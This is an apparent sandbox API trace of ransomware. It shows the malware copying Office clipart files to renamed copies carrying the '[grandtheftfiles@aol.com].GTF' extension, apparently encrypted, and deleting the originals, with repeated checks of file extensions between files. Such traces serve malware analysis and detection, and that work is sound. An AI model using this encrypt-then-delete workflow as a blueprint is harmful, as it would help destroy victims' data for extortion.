	[0090.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0090.414] lstrlenW (lpString=".jpg") returned 4
	[0090.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.414] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.414] lstrlenW (lpString="J0090777.WMF") returned 12
	[0090.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.415] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3332) returned 1
	[0090.415] CloseHandle (hObject=0x368) returned 1
	[0090.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220
	[0090.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.415] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.416] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0090.416] GetLastError () returned 0x0
	[0090.416] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xd04, lpOverlapped=0x0) returned 1
	[0090.418] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xd10, lpOverlapped=0x0) returned 1
	[0090.419] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.419] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.419] SetEndOfFile (hFile=0x334) returned 1
	[0090.419] CloseHandle (hObject=0x334) returned 1
	[0090.420] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.420] SetEndOfFile (hFile=0x368) returned 1
	[0090.420] CloseHandle (hObject=0x368) returned 1
	[0090.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1
	[0090.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.421] lstrlenW (lpString=".doc") returned 4
	[0090.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.421] lstrlenW (lpString=".docx") returned 5
	[0090.421] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0090.421] lstrlenW (lpString=".pdf") returned 4
	[0090.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.421] lstrlenW (lpString=".xls") returned 4
	[0090.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.421] lstrlenW (lpString=".xlsx") returned 5
	[0090.421] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0090.421] lstrlenW (lpString=".ppt") returned 4
	[0090.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.421] lstrlenW (lpString=".zip") returned 4
	[0090.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.421] lstrlenW (lpString=".rar") returned 4
	[0090.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.421] lstrlenW (lpString=".bz2") returned 4
	[0090.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.421] lstrlenW (lpString=".7z") returned 3
	[0090.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.422] lstrlenW (lpString=".dbf") returned 4
	[0090.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.422] lstrlenW (lpString=".1cd") returned 4
	[0090.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.422] lstrlenW (lpString=".jpg") returned 4
	[0090.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.422] lstrlenW (lpString=".doc") returned 4
	[0090.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.422] lstrlenW (lpString=".docx") returned 5
	[0090.422] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0090.422] lstrlenW (lpString=".pdf") returned 4
	[0090.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.422] lstrlenW (lpString=".xls") returned 4
	[0090.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.422] lstrlenW (lpString=".xlsx") returned 5
	[0090.422] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0090.422] lstrlenW (lpString=".ppt") returned 4
	[0090.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.422] lstrlenW (lpString=".zip") returned 4
	[0090.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.422] lstrlenW (lpString=".rar") returned 4
	[0090.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.422] lstrlenW (lpString=".bz2") returned 4
	[0090.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.422] lstrlenW (lpString=".7z") returned 3
	[0090.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.422] lstrlenW (lpString=".dbf") returned 4
	[0090.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.422] lstrlenW (lpString=".1cd") returned 4
	[0090.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0090.423] lstrlenW (lpString=".jpg") returned 4
	[0090.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.423] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.423] lstrlenW (lpString="J0090779.WMF") returned 12
	[0090.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.423] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1456) returned 1
	[0090.423] CloseHandle (hObject=0x368) returned 1
	[0090.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220
	[0090.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.424] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.424] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0090.424] GetLastError () returned 0x0
	[0090.424] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x5b0, lpOverlapped=0x0) returned 1
	[0090.428] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0090.429] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.429] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.429] SetEndOfFile (hFile=0x334) returned 1
	[0090.429] CloseHandle (hObject=0x334) returned 1
	[0090.429] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.429] SetEndOfFile (hFile=0x368) returned 1
	[0090.430] CloseHandle (hObject=0x368) returned 1
	[0090.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1
	[0090.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.431] lstrlenW (lpString=".doc") returned 4
	[0090.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.431] lstrlenW (lpString=".docx") returned 5
	[0090.431] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0090.431] lstrlenW (lpString=".pdf") returned 4
	[0090.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.431] lstrlenW (lpString=".xls") returned 4
	[0090.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.431] lstrlenW (lpString=".xlsx") returned 5
	[0090.431] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0090.431] lstrlenW (lpString=".ppt") returned 4
	[0090.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.431] lstrlenW (lpString=".zip") returned 4
	[0090.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.431] lstrlenW (lpString=".rar") returned 4
	[0090.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.431] lstrlenW (lpString=".bz2") returned 4
	[0090.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.431] lstrlenW (lpString=".7z") returned 3
	[0090.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.431] lstrlenW (lpString=".dbf") returned 4
	[0090.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.431] lstrlenW (lpString=".1cd") returned 4
	[0090.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.431] lstrlenW (lpString=".jpg") returned 4
	[0090.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.431] lstrlenW (lpString=".doc") returned 4
	[0090.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.431] lstrlenW (lpString=".docx") returned 5
	[0090.431] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0090.432] lstrlenW (lpString=".pdf") returned 4
	[0090.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.432] lstrlenW (lpString=".xls") returned 4
	[0090.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.432] lstrlenW (lpString=".xlsx") returned 5
	[0090.432] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0090.432] lstrlenW (lpString=".ppt") returned 4
	[0090.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.432] lstrlenW (lpString=".zip") returned 4
	[0090.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.432] lstrlenW (lpString=".rar") returned 4
	[0090.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.432] lstrlenW (lpString=".bz2") returned 4
	[0090.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.432] lstrlenW (lpString=".7z") returned 3
	[0090.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.432] lstrlenW (lpString=".dbf") returned 4
	[0090.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.432] lstrlenW (lpString=".1cd") returned 4
	[0090.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0090.432] lstrlenW (lpString=".jpg") returned 4
	[0090.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.432] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.432] lstrlenW (lpString="J0090781.WMF") returned 12
	[0090.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.433] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=5314) returned 1
	[0090.433] CloseHandle (hObject=0x368) returned 1
	[0090.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220
	[0090.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.433] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.433] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0090.434] GetLastError () returned 0x0
	[0090.434] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x14c2, lpOverlapped=0x0) returned 1
	[0090.436] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x14d0, lpOverlapped=0x0) returned 1
	[0090.441] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.441] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.441] SetEndOfFile (hFile=0x334) returned 1
	[0090.442] CloseHandle (hObject=0x334) returned 1
	[0090.442] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.442] SetEndOfFile (hFile=0x368) returned 1
	[0090.443] CloseHandle (hObject=0x368) returned 1
	[0090.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1
	[0090.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.443] lstrlenW (lpString=".doc") returned 4
	[0090.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.443] lstrlenW (lpString=".docx") returned 5
	[0090.443] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0090.443] lstrlenW (lpString=".pdf") returned 4
	[0090.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.443] lstrlenW (lpString=".xls") returned 4
	[0090.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.443] lstrlenW (lpString=".xlsx") returned 5
	[0090.443] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0090.443] lstrlenW (lpString=".ppt") returned 4
	[0090.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.444] lstrlenW (lpString=".zip") returned 4
	[0090.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.444] lstrlenW (lpString=".rar") returned 4
	[0090.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.444] lstrlenW (lpString=".bz2") returned 4
	[0090.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.444] lstrlenW (lpString=".7z") returned 3
	[0090.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.444] lstrlenW (lpString=".dbf") returned 4
	[0090.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.444] lstrlenW (lpString=".1cd") returned 4
	[0090.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.444] lstrlenW (lpString=".jpg") returned 4
	[0090.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.444] lstrlenW (lpString=".doc") returned 4
	[0090.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.444] lstrlenW (lpString=".docx") returned 5
	[0090.444] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0090.444] lstrlenW (lpString=".pdf") returned 4
	[0090.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.444] lstrlenW (lpString=".xls") returned 4
	[0090.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.444] lstrlenW (lpString=".xlsx") returned 5
	[0090.444] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0090.444] lstrlenW (lpString=".ppt") returned 4
	[0090.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.444] lstrlenW (lpString=".zip") returned 4
	[0090.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.444] lstrlenW (lpString=".rar") returned 4
	[0090.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.445] lstrlenW (lpString=".bz2") returned 4
	[0090.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.445] lstrlenW (lpString=".7z") returned 3
	[0090.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.445] lstrlenW (lpString=".dbf") returned 4
	[0090.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.445] lstrlenW (lpString=".1cd") returned 4
	[0090.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
